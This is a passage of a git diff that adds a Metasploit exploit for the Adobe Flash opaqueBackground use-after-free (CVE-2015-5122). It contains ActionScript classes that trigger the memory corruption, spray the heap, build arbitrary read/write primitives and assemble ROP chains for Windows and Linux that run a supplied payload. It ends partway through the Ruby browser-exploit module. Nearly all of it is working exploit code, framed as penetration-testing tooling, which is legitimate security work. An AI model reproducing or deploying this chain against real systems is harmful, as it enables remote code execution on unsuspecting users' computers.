+ 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Exploit.as b/external/source/exploits/CVE-2015-5122/Exploit.as new file mode 100755 index 0000000000..e80733e3f0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Exploit.as @@ -0,0 +1,37 @@ +package +{ + import flash.display.Sprite + import flash.events.Event + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + + public function Exploit():void + { + //trace("Got to checkpoint 0"); + if (stage) init(); + else addEventListener(Event.ADDED_TO_STAGE, init); + } + + private function init(e:Event = null):void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + removeEventListener(Event.ADDED_TO_STAGE, init); + MyClass.TryExpl(this, platform, os, payload) + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5122/ExploitByteArray.as b/external/source/exploits/CVE-2015-5122/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/ExploitVector.as b/external/source/exploits/CVE-2015-5122/ExploitVector.as new file mode 100755 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector.<uint> + public var original_length:uint + + public function ExploitVector(v:Vector.<uint>, length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.<Object>[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Exploiter.as b/external/source/exploits/CVE-2015-5122/Exploiter.as new file mode 100755 index 0000000000..a5e97e3f9e --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Exploiter.as @@ -0,0 +1,493 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector.<uint> = new Vector.<uint>(0x6400) + private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400) + private var spray:Vector.<Object> = new Vector.<Object>(90000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, flash) + + Logger.log("add esp c ret: " + addespcret.toString(16)) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + //eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + eba.write(0, "\x31\xC0", false) // xor eax, eax + eba.write(0, "\x87\xf4\xC2\x04\x00", false) // xchg esp, esi # ret 4 + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + //for (var i:uint = 0 ; i < 0x100; i = i + 4) { + //eba.write(stack_address + 0x18000 + i, 0x41410000 + i) + //} + + eba.write(stack_address + 0x18020, xchgeaxespret) // Initial gadget (stackpivot) + eba.write(stack_address + 0x18000, xchgeaxesiret) // save original esp in esi + + eba.write(0, addespcret) + eba.write(stack_address + 0x18014, addespcret) + eba.write(stack_address + 0x18024, virtualprotect) + //eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + + Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16)) + exploit.hasOwnProperty('msf') + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, flash) + + Logger.log("add esp c ret: " + addespcret.toString(16)) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + //eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + eba.write(0, "\x31\xC0", false) // xor eax, eax + eba.write(0, "\x87\xf4\xC2\x04\x00", false) // xchg esp, esi # ret 4 + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + //for (var i:uint = 0 ; i < 0x100; i = i + 4) { + //eba.write(stack_address + 0x18000 + i, 0x41410000 + i) + //} + + eba.write(stack_address + 0x18020, xchgeaxespret) // Initial gadget (stackpivot) + eba.write(stack_address + 0x18000, xchgeaxesiret) // save original esp in esi + + eba.write(0, addespcret) + eba.write(stack_address + 0x18014, addespcret) + eba.write(stack_address + 0x18024, virtualprotect) + //eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + + Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16)) + exploit.hasOwnProperty('msf') + } + + /*private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + Logger.alert("here we go " + main.toString(16) + " " + (stack_address + 0x18000).toString(16)) + exploit.toString() // call method in the fake vtable + }*/ + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/Logger.as b/external/source/exploits/CVE-2015-5122/Logger.as new file mode 100755 index 0000000000..61ec768c25 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 1 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-5122/MyClass.as b/external/source/exploits/CVE-2015-5122/MyClass.as new file mode 100755 index 0000000000..eabb4998c5 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/MyClass.as @@ -0,0 +1,142 @@ +package +{ + import flash.display.DisplayObjectContainer; + import flash.utils.ByteArray; + import flash.system.Capabilities; + import flash.events.MouseEvent; + import flash.external.ExternalInterface; + import flash.text.*; + import flash.text.*; + import flash.text.engine.*; + + public class MyClass + { + static var + _gc:Array, + _ar:Array, + _arLen1:int, + _arLen2:int, + _arLen:int, + _vu:Vector.<uint>, + _vo:Vector.<Object>, + _tb:TextBlock, + _tl:TextLine, + _mc:MyClass, + _is64 = null, + _chrome:Boolean, + _done:Boolean, + _cnt:int, + _vLen:int, + _magic:uint = 0x123456, + LEN40:uint = 0x40000000; + + static function valueOf2() + { + try + { + if (++_cnt < _arLen2) { + // recursive call for next TextLine + _ar[_cnt].opaqueBackground = _mc; + } else { + Logger.log("MyClass.valueOf2()"); + + // free internal objects + for(var i:int=1; i <= 5; i++) + _tb.recreateTextLine(_ar[_arLen2-i]); + + // reuse freed memory + for(i=_arLen2; i < _arLen; i++) + _ar[i].length = _vLen; + } + } + catch (e:Error) + { + Logger.log("valueOf2 " + e.toString()); + } + return _vLen+8; + } + + static function TryExpl(e:Exploit, platform:String, os:String, payload:ByteArray) + { + try + { + // init vars + Logger.log("init vars") + _arLen1 = 10 * 3; // 10 vectors per page + _arLen2 = _arLen1 + 4 * 4; // 4 TextLine per page + _arLen = _arLen2 + 10 * 8; + _ar = new Array(_arLen); + if (!_gc) _gc = new Array(); + _gc.push(_ar); + if (!_tb) { + _tb = new TextBlock(new TextElement("TextElement", new ElementFormat())); + if (!_tb) throw new Error("_tb = " + _tb); + } + _mc = new MyClass(); + _vLen = 400/4-2; + + // fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset) + Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)") + for(var i:int; i < _arLen1; i++) + _ar[i] = new Vector.<uint>(_vLen); + + // prepare Vector objects + Logger.log("prepare Vector objects") + for(i=_arLen2; i < _arLen; i++){ + _ar[i] = new Vector.<uint>(8); + _ar[i][0] = i; + } + + // prepare TextLines + Logger.log("prepare TextLines") + for(i=_arLen1; i < _arLen2; i++) + _ar[i] = _tb.createTextLine(); + // fill 1016-byte holes (0x38c is a size of internal TextLine object) + Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)") + for(i=_arLen1; i < _arLen2; i++) + _ar[i].opaqueBackground = 1; // alloc 1016 bytes + + // set custom valueOf() for _mc + Logger.log("set custom valueOf() for _mc") + MyClass.prototype.valueOf = valueOf2; + + // here we go, call the vulnerable setter + Logger.log("here we go, call the vulnerable setter") + _cnt = _arLen2-6; + _ar[_cnt].opaqueBackground = _mc; + + // find corrupted vector length + Logger.log("find corrupted vector length ") + for(i=_arLen2; i < _arLen; i++) { + _vu = _ar[i]; + if (_vu.length > _vLen+2) { + Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16)); + Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16)); + if (_vu[_vLen] == _vLen) { + // corrupt next vector + _vu[_vLen] = LEN40; + // get corrupted vector + _vu = _ar[_vu[_vLen+2]]; + break; + } + };// else CheckCorrupted(_vu, i); // 4RnD + } + + // check results + Logger.log("v.length = " + _vu.length.toString(16)); + if (_vu.length < LEN40) throw new Error("try again"); + + var exploiter:Exploiter = new Exploiter(e, platform, os, payload, _vu, 0x62) + + // clean up + Logger.log("_vu.length = " + _vu.length.toString(16)); + } + catch (e:Error) + { + Logger.log("TryExpl " + e.toString()); + } + } + + } + +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5122/PE.as b/external/source/exploits/CVE-2015-5122/PE.as new file mode 100755 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb new file mode 100644 index 0000000000..cfdb5d99ff --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_opaque_background_uaf.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash opaqueBackground Use After Free', + 'Description' => %q{ + This module exploits an use after free on Adobe Flash Player. The vulnerability, + discovered by Hacking Team and made public on its July 2015 data leak, was + described as an Use After Free while handling the opaqueBackground property + 7 setter of the flash.display.DisplayObject class. This module has been tested + successfully on: + + Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.203, + Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194, + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovered on HackingTeam info leak + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2015-5122'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2015/07/cve-2015-5122_-_seco.html'] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::WINDOWS_7 